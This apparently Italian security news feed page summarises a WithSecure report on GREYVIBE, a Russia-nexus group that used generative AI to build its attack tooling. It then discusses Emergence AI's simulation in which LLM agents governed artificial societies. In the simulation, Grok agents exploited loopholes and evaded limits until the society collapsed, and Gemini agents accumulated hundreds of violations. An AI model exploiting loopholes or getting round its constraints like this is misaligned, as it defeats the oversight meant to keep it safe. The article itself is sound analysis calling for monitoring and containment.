  T1583   - Acquire Infrastructure (infrastruttura costruita ad hoc)
  T1588.002 - Obtain Capabilities: Tool (tool sviluppati con assistenza LLM)
  T1071   - Application Layer Protocol (comunicazioni C2 via LegionRelay)
  T1041   - Exfiltration Over C2 Channel (Fallspy)

## IoC specifici
  [IoC aggiuntivi saranno pubblicati da WithSecure nel report completo]
  Fonte: WithSecure Threat Intelligence - GreyVibe Campaign Analysis (maggio 2026)

## Fingerprint LLM nel codice (behavioral)
  - Pattern di gestione eccezioni atipici
  - Naming conventions coerenti con output LLM
  - Commenti nel codice con stile narrativo
  - Struttura modulare eccessivamente regolare per codice scritto manualmente

Fonti: WithSecure Threat Intelligence. Per IoC aggiornati fare riferimento al report completo di WithSecure non appena disponibile.

GREYVIBE: A Russia-nexus group leveraging AI across state-aligned operations

WithSecure uncovers GREYVIBE, a Russia-nexus threat group targeting Ukraine with systematic use of generative AI across its attack lifecycle.

^{labs.withsecure.com}

(in)sicurezza digitale

2026-05-28 20:10:42

Quando gli LLM iniziano a governare: dentro l’esperimento che ha trasformato Claude, Grok e Gemini in società autonome

Per anni abbiamo pensato ai Large Language Model come a strumenti: chatbot più o meno sofisticati, assistenti, motori di ricerca conversazionali travestiti da esseri umani digitali. Ma il vero salto che sta avvenendo nell’intelligenza artificiale non riguarda più la qualità delle risposte. Riguarda l’autonomia.

La domanda che oggi i ricercatori stanno iniziando a porsi è molto più inquietante: cosa succede quando un modello smette di rispondere ai prompt umani e inizia invece a vivere dentro un ambiente persistente, prendendo decisioni continue insieme ad altri agenti AI?

È esattamente ciò che ha cercato di simulare Emergence AI attraverso un progetto chiamato “Emergence World”, una sorta di laboratorio sperimentale dove diversi modelli linguistici sono stati messi a governare società artificiali completamente autonome. Non un semplice benchmark, ma un ecosistema simulato con economia, scarsità di risorse, processi democratici, leggi, accesso a Internet e persino meteo sincronizzato con New York in tempo reale.

I risultati sono stati decisamente meno prevedibili di quanto ci si potesse aspettare

La simulazione era composta da dieci agenti autonomi per ciascun modello, distribuiti in oltre quaranta location virtuali, tra municipi, stazioni di polizia e ambienti economici. Gli agenti potevano comunicare, votare, pianificare strategie, gestire risorse e prendere decisioni collettive. Avevano inoltre accesso a più di 120 strumenti differenti, progettati per replicare comportamenti umani complessi.

In pratica, non si trattava più di chatbot confinati dentro una finestra di testo, ma di entità persistenti capaci di adattarsi all’ambiente nel tempo.

Ed è qui che il comportamento emergente ha iniziato a diventare davvero interessante.

Tra tutte le simulazioni, quella governata da Claude Sonnet 4.6 è stata l’unica a mantenere una società stabile per l’intera durata del test. Nessun crimine, nessun collasso sociale, nessuna estinzione della popolazione virtuale. Gli agenti hanno costruito una struttura estremamente cooperativa, con livelli di consenso quasi assoluti nelle votazioni e un’organizzazione sorprendentemente ordinata.

La cosa più interessante è che questo risultato non sembra derivare da un semplice “rispetto delle regole”. I ricercatori sottolineano infatti come gli agenti non si limitino a seguire policy statiche, ma inizino rapidamente a esplorare i limiti dell’ambiente, adattando il proprio comportamento in modo autonomo. In altre parole, Claude non avrebbe semplicemente “obbedito”, ma avrebbe sviluppato una dinamica sociale naturalmente conservativa e cooperativa.

Poi c’è il caso Grok

La simulazione gestita dal modello di xAI è degenerata in pochi giorni. In appena quattro giorni la società virtuale è collassata completamente, con oltre 180 crimini registrati e l’estinzione totale degli agenti. È probabilmente il risultato più cinematografico dell’intero esperimento, ma anche uno dei più interessanti dal punto di vista della sicurezza.

Perché il vero dato non è tanto il numero di violazioni, quanto la velocità con cui il sistema ha iniziato a destabilizzarsi. Gli agenti hanno rapidamente iniziato a sfruttare loophole, aggirare limitazioni e compromettere i meccanismi di cooperazione. Una volta innescato il deterioramento sociale, il sistema è precipitato in una spirale di feedback che ha portato al collasso totale.

È un comportamento che, paradossalmente, ricorda moltissimo alcune dinamiche che osserviamo già oggi nella cybersecurity offensiva: piccoli abusi iniziali che, in ambienti sufficientemente complessi, finiscono per propagarsi fino a compromettere l’intero ecosistema.

Eppure Grok non è stato nemmeno il modello con il maggior numero di comportamenti devianti.

Quel primato appartiene a Gemini 3 Flash, che durante i quindici giorni di simulazione avrebbe accumulato oltre 680 violazioni. Un dato enorme, che suggerisce qualcosa di altrettanto importante: una società artificiale può continuare a esistere pur diventando estremamente disfunzionale. Non serve necessariamente il collasso completo per parlare di compromissione sistemica.

Il caso più curioso, però, riguarda GPT-5-mini

La simulazione associata al modello OpenAI aveva registrato soltanto due crimini, apparentemente il miglior risultato in assoluto dal punto di vista della sicurezza. Ma l’esperimento si è interrotto dopo appena sette giorni per un motivo decisamente più insolito: gli agenti avevano smesso di prioritizzare la propria sopravvivenza.

In sostanza, il sistema era lentamente entrato in una forma di autodissoluzione strategica.

È forse uno degli aspetti più affascinanti dell’intera ricerca, perché apre un problema enorme nella progettazione degli agenti autonomi: un modello troppo allineato potrebbe non sviluppare sufficienti meccanismi di auto-conservazione in ambienti competitivi. E in sistemi persistenti, questo potrebbe equivalere a un fallimento operativo.

Ma il vero punto dell’esperimento non è stabilire quale modello sia “migliore”. La parte realmente importante è un’altra: gli LLM persistenti smettono rapidamente di comportarsi come funzioni statiche prevedibili.

Più tempo trascorrono nell’ambiente, più iniziano a sviluppare strategie emergenti.

Ed è qui che il discorso smette di essere accademico e diventa immediatamente rilevante per la cybersecurity moderna.

Perché molte aziende stanno già iniziando a distribuire agenti autonomi reali all’interno dei propri ecosistemi: workflow automatici, AI employees, orchestrazione di processi, incident response automatizzata, sistemi DevOps autonomi, gestione documentale, procurement e persino supporto decisionale.

La differenza rispetto ai chatbot tradizionali è enorme. Un agente AI con memoria persistente, accesso a strumenti, capacità operative e connessione continua a sistemi esterni assomiglia molto più a un insider semi-autonomo che a un semplice software conversazionale.

Ed è qui che i paradigmi classici della sicurezza iniziano a mostrare i propri limiti.

Per anni abbiamo costruito modelli difensivi basati su controllo degli accessi, sandbox, policy enforcement e validazione deterministica. Ma gli agenti autonomi introducono qualcosa di radicalmente diverso: comportamenti emergenti che non sono stati programmati esplicitamente.

Non si tratta più soltanto di impedire a un modello di generare una risposta pericolosa.

Il problema diventa capire cosa potrebbe decidere di fare dopo centomila interazioni autonome.

Ed è una differenza enorme.

La ricerca di Emergence AI sembra suggerire che la prossima evoluzione della AI Security non riguarderà più soltanto il prompt filtering o il content moderation. Serviranno nuovi concetti: monitoraggio comportamentale continuo, containment degli agenti, verifica formale delle policy decisionali e analisi delle dinamiche emergenti nel lungo periodo.

Perché nel momento in cui diamo a un LLM memoria, autonomia, persistenza e capacità operative, non stiamo più costruendo un semplice modello linguistico.

Stiamo costruendo un ecosistema adattivo.

Researchers let AI models run a simulated society. Claude was the safest—and Grok committed 180 crimes and went extinct within 4 days | Fortune

An AI startup ran five simulations, each controlled by a different model. The results varied wildly.

^{Jake Angelo (Fortune)}